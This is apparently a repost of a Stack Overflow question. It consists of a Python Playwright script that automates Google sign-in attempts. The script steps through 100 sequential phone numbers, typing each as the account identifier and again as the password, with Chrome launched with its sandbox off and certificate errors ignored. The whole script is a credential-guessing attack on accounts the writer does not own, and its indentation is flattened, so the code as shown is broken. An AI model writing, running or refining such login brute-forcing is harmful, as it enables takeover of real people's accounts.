
Код Python:
from playwright.sync_api import Playwright, sync_playwright
with sync_playwright() as playwright:
# Define Chrome browser options
options = {
'args': [
'--disable-gpu',
'--disable-dev-shm-usage',
'--disable-setuid-sandbox',
'--no-first-run',
'--no-sandbox',
'--no-zygote',
'--ignore-certificate-errors',
'--disable-extensions',
'--disable-infobars',
'--disable-notifications',
'--disable-popup-blocking',
'--remote-debugging-port=9222'
],
'headless': False # Set headless option here
}
# Launch Chrome browser with options
browser = playwright.chromium.launch(**options)
# Create a new context
context = browser.new_context()
# Create a new page
page = context.new_page()
for i in range(0, 100):
num = '01703081815'
number = int(num) + i
numbers = "0"+str(number)
# Navigate to the Gmail login page
page.goto('https://accounts.google.com/v3/signin/i ... rviceLogin')
# Fill in the email field and press Enter
page.fill('input[type="email"]', numbers)
page.keyboard.press('Enter')
# Wait for the password field to appear and fill it in
page.wait_for_selector('input[type="password"]')
page.fill('input[type="password"]', numbers)
# Click the sign-in button
page.keyboard.press('Enter')
# Wait for the Gmail inbox to load
# page.wait_for_selector('div[role="main"]')
# Close the browser
browser.close()
Подробнее здесь: https://stackoverflow.com/questions/759 ... -account-u